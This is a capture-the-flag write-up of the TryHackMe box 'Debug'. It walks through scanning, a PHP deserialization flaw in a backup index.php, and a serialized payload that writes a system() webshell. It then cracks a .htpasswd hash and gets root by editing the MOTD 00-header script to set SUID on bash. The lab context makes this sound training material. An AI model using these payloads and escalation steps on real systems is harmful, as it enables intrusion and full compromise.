Debug - Try Hack Me

Hey there, welcome to the write-up for Debug, a TryHackMe box made by ustoun0 which involves finding a backup directory which has an index.php.bak inside. Doing some code review we can quickly see that the code is vulnerable to php deserialization attack and we can write a shell on the webserver. Once on the box, we find a .htpasswd file which has James’s hash in it, we crack it using hashcat and then we log in via ssh as James. For root we modify 00-header, we relog via ssh and get a shell as root on the box.


# Nmap 7.92 scan initiated Fri Jan  7 09:31:34 2022 as: nmap -sC -sV -p- -v -oN nmap/debug
Nmap scan report for
Host is up (0.11s latency).
Not shown: 65533 closed tcp ports (reset)
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 44:ee:1e:ba:07:2a:54:69:ff:11:e3:49:d7:db:a9:01 (RSA)
|   256 8b:2a:8f:d8:40:95:33:d5:fa:7a:40:6a:7f:29:e4:03 (ECDSA)
|_  256 65:59:e4:40:2a:c2:d7:05:77:b3:af:60:da:cd:fc:67 (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
| http-methods: 
|_  Supported Methods: OPTIONS GET HEAD POST
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.18 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at .
# Nmap done at Fri Jan  7 09:34:34 2022 -- 1 IP address (1 host up) scanned in 180.27 seconds

Nothing much of interest. Going to the webserver first.


Just the default Apache page, the source code doesn’t reveal anything. Starting up a gobuster…

└─$ gobuster dir -u "" -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php                                         1 ⨯
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
[+] Url:           
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              php
[+] Timeout:                 10s
2022/01/07 16:59:36 Starting gobuster in directory enumeration mode
/index.php            (Status: 200) [Size: 5732]
/javascript           (Status: 301) [Size: 319] [-->]
/backup               (Status: 301) [Size: 315] [-->]    
/grid                 (Status: 301) [Size: 313] [-->]      
Progress: 7538 / 441122 (1.71%)                                                      
[!] Keyboard interrupt detected, terminating.
2022/01/07 16:59:57 Finished

index.php and backup are the most interesting ones for now, let’s check those out.

Let’s check backup as well

index.php.bak sticks out, let’s take a peek inside of it.

<-- HTML SNIP -->

class FormSubmit {

public $form_file = 'message.txt';
public $message = '';

public function SaveMessage() {

$NameArea = $_GET['name']; 
$EmailArea = $_GET['email'];
$TextArea = $_GET['comments'];

	$this-> message = "Message From : " . $NameArea . " || From Email : " . $EmailArea . " || Comment : " . $TextArea . "\n";


public function __destruct() {

file_put_contents(__DIR__ . '/' . $this->form_file,$this->message,FILE_APPEND);
echo 'Your submission has been successfully saved!';



// Leaving this for now... only for debug purposes... do not touch!

$debug = $_GET['debug'] ?? '';
$messageDebug = unserialize($debug);

$application = new FormSubmit;
$application -> SaveMessage();

<-- HTML SNIP -->

If you can’t tell by looking at the code, there is a massive vulnerability that just waits to be exploited :)

We can provide serialized input via debug parameter. If we modify the “public $form_file = ‘message.txt’;” with something like shell.php, and the “public $message = ‘’;” with some php code, serialize it and deserialize it via debug, we can write a webshell on the server and get code execution.

So I’ve created a little php script which will serialize the first part of the script.

class FormSubmit {

public $form_file = 'message.txt';
public $message = '';

We’re going to modify form_file and message with our webshell

The final script we’re going to use in order to exploit the deserialization vulnerability is this one.


class FormSubmit {
  public $form_file = 'shell.php';
  public $message = '<?php system($_REQUEST["cmd"]); ?>';

$rce = new FormSubmit;
echo serialize($rce);


Let us see how it is done.

First, we run the exploit script which will serialize our object.

Then, we take that line and put it in the debug parameter, full url:"FormSubmit":2:{s:9:"form_file";s:9:"shell.php";s:7:"message";s:34:"<?php system($_REQUEST["cmd"]); ?>";}

Nothing has happened, we’re getting the same page, let’s see if shell.php has been written on the server.


Indeed, we do have code execution. Let’s get a reverse shell.

First things first, let’s stabilize our shell.

In the same directory we’ve landed our webshell, there is a hidden file called .htpasswd. In it we’ve got what it looks like a hash and a username called “james” which is a user on the box.

Let’s try cracking that hash with hashcat. First, let’s find out what mode is needed to crack that specific hash. For that, I’m gonna go to example_hashes from hashcat’s website and search for apr1.

Now, I’m going to save the hash in a file called simply “hash” and crack it using rockyou.txt

hashcat -m 1600 hash /usr/share/wordlists/rockyou.txt -O

The hash cracks almost instantly. We can now try to log in via ssh as james.



If we remember correctly, when we’ve logged in via ssh, a banner appears running some uname -r things

That’s because of 00-header, a bash script that runs when somebody connects via ssh to a system. We can find where that is by running find with some switches to show us just files owned by root which we can modify.

find / -user root -writable 2>/dev/null

Let’s take a look at 00-header

Let’s modify from “$(uname -o) into “$(chmod +s /bin/bash)” and relog

Since ssh runs as root and that bash script executes as root, we should set a suid bit on bash, thus running bash -p will give us a root shell.


That was it, an easy fun box. A great learning opportunity for people who are starting out learning php deserialization attacks.